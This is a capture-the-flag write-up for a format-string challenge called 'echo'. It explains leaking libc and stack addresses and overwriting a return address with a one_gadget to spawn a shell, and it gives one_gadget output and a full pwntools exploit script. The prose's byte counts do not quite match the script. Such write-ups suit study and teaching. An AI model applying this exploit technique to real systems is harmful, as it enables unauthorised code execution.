There are three chances to perform format string attacks, each with an input size of 24 bytes.
Noticing that the values of the registers are returned when the program finishes, we can use this information.
In libc, the conditions for the one_gadet are as follows, which can be met:
$ one_gadget ./libc.so.6 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
For first input, it leaks the addresses of
libc
and the stack.
Based on the return address, we can determine the base address of libc
and the stack address corresponding to the ret
instruction.
Modifying the one_gadget
requires 5 bytes, but since printf
can modify at most 4 bytes in one go, we split the modification into two steps to write 5 bytes in total.
After modifying the address of one_gadget
, a shell is obtained.
Payload:
from pwn import * context.log_level = "debug" context.arch = "amd64" # p = remote("chal.polyuctf.com", 31340) p = process(['./echo'], env={'LD_PRELOAD': './libc.so.6'}) libc = ELF('./libc.so.6') p.recvuntil("Tell me something:\n") p.sendline("%43$p%40$p") ret = int(p.recv(14), 16) - 243 - libc.sym['__libc_start_main'] stack = int(p.recv(14), 16) - 0x100 + 0x18 success("ret => " + hex(ret)) success("stack => " + hex(stack)) # First payload to write the least significant 2 bytes payload = "%" + str((ret + 0xe3b01) & 0xffff) + "c%10$hn" p.sendline(payload.ljust(16, "a") + p64(stack)) # Second payload to write the next 2 bytes payload = "%" + str(((ret + 0xe3b01) >> 16) & 0xff) + "c%10$hhn" p.sendline(payload.ljust(16, "a") + p64(stack + 2)) p.interactive()